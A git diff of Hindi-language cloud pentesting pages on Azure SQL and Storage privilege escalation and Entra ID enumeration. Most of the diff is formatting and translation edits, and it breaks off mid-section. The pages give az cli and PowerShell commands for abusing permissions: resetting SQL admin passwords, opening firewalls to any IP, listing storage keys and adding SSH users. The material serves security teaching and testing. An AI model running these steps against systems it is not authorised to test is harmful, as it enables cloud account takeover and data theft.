a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index eeb28ad7a..8372e14f5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -10,9 +10,9 @@ SQL Database के बारे में अधिक जानकारी ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं। +इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं। ```bash # Change the server password az sql server update \ @@ -35,9 +35,9 @@ az sql server update \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` -एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, के लिए सर्वर को खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण तत्वों के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है। +एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, को सर्वर पर खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है। ```bash # Create Firewall Rule az sql server firewall-rule create \ @@ -58,7 +58,7 @@ az sql server firewall-rule update \ इसके अलावा, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है। नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` इस अनुमति के साथ, आप Azure SQL Server पर IPv6 फ़ायरवॉल नियम बना, संशोधित या हटा सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को मौजूदा नेटवर्क सुरक्षा कॉन्फ़िगरेशन को बायपास करने और सर्वर तक अनधिकृत पहुंच प्राप्त करने में सक्षम बना सकता है। किसी भी IPv6 पते से ट्रैफ़िक की अनुमति देने वाला एक नियम जोड़कर, हमलावर सर्वर को बाहरी पहुंच के लिए खोल सकता है। ```bash @@ -72,9 +72,9 @@ az sql server firewall-rule create \ अतिरिक्त रूप से, `Microsoft.Sql/servers/ipv6FirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है। नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` -इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ एक SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है: +इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर प्रिवेस्क कर सकते हैं और महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है: ```bash az sql server ad-admin create \ --server \ @@ -82,7 +82,7 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` इन अनुमतियों के साथ, आप Azure SQL Server पर "Microsoft Entra Authentication Only" को कॉन्फ़िगर और लागू कर सकते हैं, जो कुछ परिदृश्यों में विशेषाधिकार वृद्धि को सुविधाजनक बना सकता है। एक हमलावर या एक अधिकृत उपयोगकर्ता जिनके पास ये अनुमतियाँ हैं, Azure AD-केवल प्रमाणीकरण को सक्षम या अक्षम कर सकता है। ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 81edec684..f14e2aad2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -10,13 +10,13 @@ ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` -इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** के (और गुप्त मानों) को सूचीबद्ध करने में सक्षम होगा। जिससे प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति मिलती है। +इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** के (और गुप्त मानों) को सूचीबद्ध करने में सक्षम होगा। जिससे प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकार बढ़ाने की अनुमति मिलती है। ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस कीज़** के नए गुप्त मान को नवीनीकरण और प्राप्त करने में सक्षम होगा। यह प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है। @@ -24,9 +24,9 @@ az storage account keys list --account-name ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` -इस अनुमति के साथ एक प्रमुख मौजूदा स्टोरेज खाता बनाने या अपडेट करने में सक्षम होगा, किसी भी सेटिंग को अपडेट करते हुए जैसे नेटवर्क नियम या नीतियाँ। +इस अनुमति के साथ एक प्रिंसिपल एक मौजूदा स्टोरेज अकाउंट को बनाने या अपडेट करने में सक्षम होगा, किसी भी सेटिंग को अपडेट करते हुए जैसे नेटवर्क नियम या नीतियाँ। ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -36,7 +36,7 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs Specific privesc -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` पहली अनुमति **कंटेनरों में अम्यूटेबिलिटी नीतियों को संशोधित** करने की अनुमति देती है और दूसरी उन्हें हटाने की अनुमति देती है। @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## फ़ाइल शेयर विशेष प्रिवेस्क -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल सिस्टम के अंदर फ़ाइलों का स्वामित्व लेने की अनुमति देनी चाहिए। -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल सिस्टम के अंदर फ़ाइलों की अनुमतियों को संशोधित करने की अनुमति देनी चाहिए। -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` यह एक उपयोगकर्ता को इस अनुमति के साथ फ़ाइल सिस्टम के अंदर सुपरयूज़र के रूप में क्रियाएँ करने की अनुमति देनी चाहिए। -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते (जो हायरार्किकल नेमस्पेस के साथ कॉन्फ़िगर किया गया है) के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियाँ और होम डायरेक्टरी निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को अपने लिए देने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकते हैं। यह जांच नहीं की जाती है कि क्या कोई उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है। +इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियों और होम डायरेक्टरी को निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को स्वयं को सौंपने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकती हैं। यह जांच नहीं की जाती है कि क्या उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है। ```bash az storage account local-user create \ --account-name \ @@ -80,23 +80,23 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` -इस अनुमति के साथ, एक हमलावर Azure Storage खाते में एक स्थानीय उपयोगकर्ता के लिए पासवर्ड को फिर से उत्पन्न कर सकता है। यह हमलावर को उपयोगकर्ता के लिए नए प्रमाणीकरण क्रेडेंशियल (जैसे SSH या SFTP पासवर्ड) प्राप्त करने की क्षमता प्रदान करता है। इन क्रेडेंशियल का लाभ उठाकर, हमलावर स्टोरेज खाते में अनधिकृत पहुंच प्राप्त कर सकता है, फ़ाइल ट्रांसफर कर सकता है, या स्टोरेज कंटेनरों के भीतर डेटा में हेरफेर कर सकता है। इससे डेटा लीक, भ्रष्टाचार, या स्टोरेज खाते की सामग्री में दुर्भावनापूर्ण संशोधन हो सकता है। +इस अनुमति के साथ, एक हमलावर Azure Storage खाते में एक स्थानीय उपयोगकर्ता के लिए पासवर्ड को फिर से उत्पन्न कर सकता है। यह हमलावर को उपयोगकर्ता के लिए नए प्रमाणीकरण क्रेडेंशियल (जैसे SSH या SFTP पासवर्ड) प्राप्त करने की क्षमता देता है। इन क्रेडेंशियल का लाभ उठाकर, हमलावर स्टोरेज खाते में अनधिकृत पहुंच प्राप्त कर सकता है, फ़ाइल ट्रांसफर कर सकता है, या स्टोरेज कंटेनरों के भीतर डेटा में हेरफेर कर सकता है। इससे डेटा लीक, भ्रष्टाचार, या स्टोरेज खाते की सामग्री में दुर्भावनापूर्ण संशोधन हो सकता है। ```bash az storage account local-user regenerate-password \ --account-name \ --resource-group \ --name ``` -Azure Blob Storage को SFTP के माध्यम से एक्सेस करने के लिए (is_hns_enabled को true होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं): +Azure Blob Storage तक SFTP के माध्यम से पहुँचने के लिए (is_hns_enabled को सत्य होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं): ```bash sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` -इन अनुमतियों के साथ, एक हमलावर एक हटाए गए कंटेनर को उसके हटाए गए संस्करण ID को निर्दिष्ट करके पुनर्स्थापित कर सकता है या एक कंटेनर के भीतर विशिष्ट ब्लॉब को पुनः प्राप्त कर सकता है, यदि उन्हें पहले सॉफ्ट-डिलीट किया गया था। यह विशेषाधिकार वृद्धि एक हमलावर को संवेदनशील डेटा को पुनर्प्राप्त करने की अनुमति दे सकती है जिसे स्थायी रूप से हटाया जाना था, जो संभावित रूप से अनधिकृत पहुंच की ओर ले जा सकता है। +इन अनुमतियों के साथ, एक हमलावर एक हटाए गए कंटेनर को उसके हटाए गए संस्करण ID को निर्दिष्ट करके पुनर्स्थापित कर सकता है या एक कंटेनर के भीतर विशिष्ट ब्लॉब को अनहटाने कर सकता है, यदि वे पहले से सॉफ्ट-डिलीट किए गए थे। यह विशेषाधिकार वृद्धि एक हमलावर को संवेदनशील डेटा को पुनर्प्राप्त करने की अनुमति दे सकती है जिसे स्थायी रूप से हटाया जाना था, संभावित रूप से अनधिकृत पहुंच की ओर ले जा सकती है। ```bash #Restore the soft deleted container az storage container restore \ @@ -110,7 +110,7 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` इन अनुमतियों के साथ, एक हमलावर एक हटाए गए Azure फ़ाइल शेयर को उसके हटाए गए संस्करण ID को निर्दिष्ट करके पुनर्स्थापित कर सकता है। यह विशेषाधिकार वृद्धि एक हमलावर को संवेदनशील डेटा को पुनर्प्राप्त करने की अनुमति दे सकती है जिसे स्थायी रूप से हटाया जाना था, जो संभावित रूप से अनधिकृत पहुंच की ओर ले जा सकता है। ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 7377d5e63..bd3f9dcd5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,7 +4,7 @@ ## Basic Information -Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, Microsoft 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं। +Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, माइक्रोसॉफ्ट 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं। Azure AD की प्रमुख विशेषताओं में **multi-factor authentication** और **conditional access** शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ सहज एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को उनकी पहुँच नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। माइक्रोसॉफ्ट के क्लाउड सेवाओं के पारिस्थितिकी तंत्र का एक मौलिक घटक होने के नाते, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है। @@ -224,7 +224,7 @@ az account tenant list {{#endtab }} {{#endtabs }} -### Users +### उपयोगकर्ता Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें: @@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालाँकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA की आवश्यकता होगी यदि** वह किसी विशेष स्थान, ब्राउज़र या **कुछ शर्त** से लॉग इन करता है। यदि इन नीतियों को सही तरीके से कॉन्फ़िगर नहीं किया गया तो ये **bypasses** के प्रति संवेदनशील हो सकती हैं। जाँच करें: +हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालाँकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA की आवश्यकता होगी यदि** वह किसी विशेष स्थान, ब्राउज़र या **कुछ शर्त** से लॉग इन करता है। यदि इन नीतियों को सही तरीके से कॉन्फ़िगर नहीं किया गया तो ये **bypasses** के प्रति संवेदनशील हो सकती हैं। जांचें: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -373,7 +373,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Groups -Entra ID समूहों के बारे में अधिक जानकारी के लिए जाँच करें: +Entra ID समूहों के बारे में अधिक जानकारी के लिए जांचें: {{#ref}} ../az-basic-information/ @@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **उच्चीकृत** हो सकता है।\ +> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **escalate** कर सकता है।\ > अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] @@ -800,9 +800,9 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * > इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\ > ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\ > **एप्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसकी नकल कर सके)।\ -> इन service principals के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा। +> इन सेवा प्रिंसिपलों के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा। -Microsoft के सामान्य उपयोग किए जाने वाले ऐप IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है। +Microsoft के सामान्य उपयोग किए जाने वाले ऐप आईडी की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है। ### Managed Identities @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# एक उपयोगकर्ता को असाइन की गई Entra ID भूमिकाओं की सूची +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# एक समूह को असाइन की गई Entra ID भूमिकाओं की सूची +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# एक सेवा प्रिंसिपल को असाइन की गई Entra ID भूमिकाओं की सूची +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# सभी उपलब्ध भूमिका टेम्पलेट प्राप्त करें +# Get all available role templates Get-AzureADDirectoryroleTemplate -# सक्षम भूमिकाएँ (असाइन की गई भूमिकाएँ) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId #भूमिका के बारे में जानकारी प्राप्त करें -# कस्टम भूमिकाएँ - AzureAdPreview का उपयोग करें +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# भूमिका असाइन किए गए उपयोगकर्ता (ग्लोबल प्रशासक) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# प्रशासनिक इकाई की भूमिकाएँ (जिसके पास प्रशासनिक इकाई और इसके सदस्यों पर अनुमतियाँ हैं) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} {{#endtabs }} -### Devices +### उपकरण {{#tabs }} {{#tab name="az cli" }} - ```bash -# यदि आप यह करना जानते हैं तो एक PR भेजें! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash -# Microsoft Graph PowerShell का उपयोग करके उपकरणों की गणना करें +# Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All -# उपकरण विवरण प्राप्त करें +# Get device details Get-MgDevice -DeviceId | Format-List * -# Intune का उपयोग करके प्रबंधित उपकरण प्राप्त करें +# Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All -# एक उपयोगकर्ता द्वारा स्वामित्व वाले उपकरण प्राप्त करें +# Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com -# Microsoft Graph PowerShell में उपलब्ध आदेशों की सूची बनाएं +# List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# उपकरणों की गणना करें +# Enumerate Devices Get-AzureADDevice -All $true | fl * -# सभी सक्रिय उपकरणों की सूची बनाएं (और पुराने उपकरण नहीं) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# सभी उपकरणों के मालिक प्राप्त करें +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# सभी उपकरणों के पंजीकृत उपयोगकर्ता +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Intune का उपयोग करके प्रबंधित उपकरण प्राप्त करें +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# एक उपयोगकर्ता द्वारा स्वामित्व वाले उपकरण प्राप्त करें +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# एक उपकरण की प्रशासनिक इकाइयाँ प्राप्त करें +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> यदि एक डिवाइस (VM) **AzureAD से जुड़ा** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम** होंगे।\ +> इसके अलावा, यदि लॉग इन किया हुआ उपयोगकर्ता डिवाइस का **स्वामी** है, तो वह **स्थानीय व्यवस्थापक** होगा। -### Administrative Units +### प्रशासनिक इकाइयाँ -For more information about administrative units check: +प्रशासनिक इकाइयों के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../az-basic-information/ @@ -1062,22 +1045,19 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# सभी प्रशासनिक इकाइयों की सूची बनाएं +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# AU जानकारी प्राप्त करें +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# सदस्यों को प्राप्त करें +# Get members 